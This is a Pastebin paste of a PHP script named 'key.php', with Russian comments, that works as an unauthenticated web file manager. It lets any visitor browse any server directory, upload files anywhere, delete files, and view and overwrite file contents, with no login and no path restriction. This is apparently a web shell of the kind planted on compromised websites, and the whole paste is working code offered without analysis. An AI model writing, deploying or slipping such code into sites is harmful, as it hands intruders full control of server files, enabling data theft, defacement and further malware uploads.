Advertisement
dr4k0la

key.php

Mar 13th, 2025
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.18 KB | Source Code | 0 0
  1. <?php
  2. $path = isset($_GET['path']) ? $_GET['path'] : '.';
  3. $path = realpath($path);
  4.  
  5. // Вывод пути
  6. echo "<h3>Path: $path</h3>";
  7.  
  8. // Форма загрузки файлов
  9. echo "<form method='POST' enctype='multipart/form-data'>
  10.    <input type='file' name='file'>
  11.    <input type='hidden' name='upload_path' value='" . htmlspecialchars($path) . "'>
  12.    <button type='submit'>Upload</button>
  13. </form>";
  14.  
  15. // Обработка загрузки файла
  16. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
  17.     $uploadPath = isset($_POST['upload_path']) ? $_POST['upload_path'] : $path;
  18.     $uploadedFile = $uploadPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
  19.     if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadedFile)) {
  20.         echo "<p style='color:green;'>File uploaded: " . htmlspecialchars($_FILES['file']['name']) . "</p>";
  21.     } else {
  22.         echo "<p style='color:red;'>Failed to upload file.</p>";
  23.     }
  24. }
  25.  
  26. // Обработка удаления файла
  27. if (isset($_GET['delete'])) {
  28.     $fileToDelete = $path . DIRECTORY_SEPARATOR . $_GET['delete'];
  29.     if (is_file($fileToDelete) && unlink($fileToDelete)) {
  30.         echo "<p style='color:green;'>File deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
  31.     } else {
  32.         echo "<p style='color:red;'>Failed to delete file.</p>";
  33.     }
  34. }
  35.  
  36. // Обработка сохранения изменений в файле
  37. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'])) {
  38.     $fileToEdit = $path . DIRECTORY_SEPARATOR . $_POST['edit_file'];
  39.     file_put_contents($fileToEdit, $_POST['file_content']);
  40.     echo "<p style='color:green;'>File updated: " . htmlspecialchars($_POST['edit_file']) . "</p>";
  41. }
  42.  
  43. // Вывод списка файлов и папок
  44. echo "<ul>";
  45. foreach (scandir($path) as $item) {
  46.     if ($item === '.') continue;
  47.     $itemPath = $path . DIRECTORY_SEPARATOR . $item;
  48.     echo "<li>";
  49.     if (is_dir($itemPath)) {
  50.         echo "<a href='?path=" . urlencode($itemPath) . "'>[DIR] $item</a>";
  51.         echo " - <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
  52.     } else {
  53.         echo "<a href='?path=" . urlencode($path) . "&file=" . urlencode($item) . "'>$item</a>";
  54.         echo " - <a href='?path=" . urlencode($path) . "&delete=" . urlencode($item) . "' style='color:red;'>[Delete]</a>";
  55.         echo " - <i>Size:</i> " . filesize($itemPath) . " bytes, <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
  56.     }
  57.     echo "</li>";
  58. }
  59. echo "</ul>";
  60.  
  61. // Просмотр и редактирование файла
  62. if (isset($_GET['file'])) {
  63.     $filePath = $path . DIRECTORY_SEPARATOR . $_GET['file'];
  64.     if (is_file($filePath)) {
  65.         echo "<h3>Contents of " . htmlspecialchars($_GET['file']) . ":</h3>";
  66.         echo "<form method='POST'>
  67.            <textarea name='file_content' style='width:100%;height:300px;'>" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
  68.            <input type='hidden' name='edit_file' value='" . htmlspecialchars($_GET['file']) . "'>
  69.            <button type='submit'>Save Changes</button>
  70.        </form>";
  71.     }
  72. }
  73. ?>
  74.  
Tags: php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement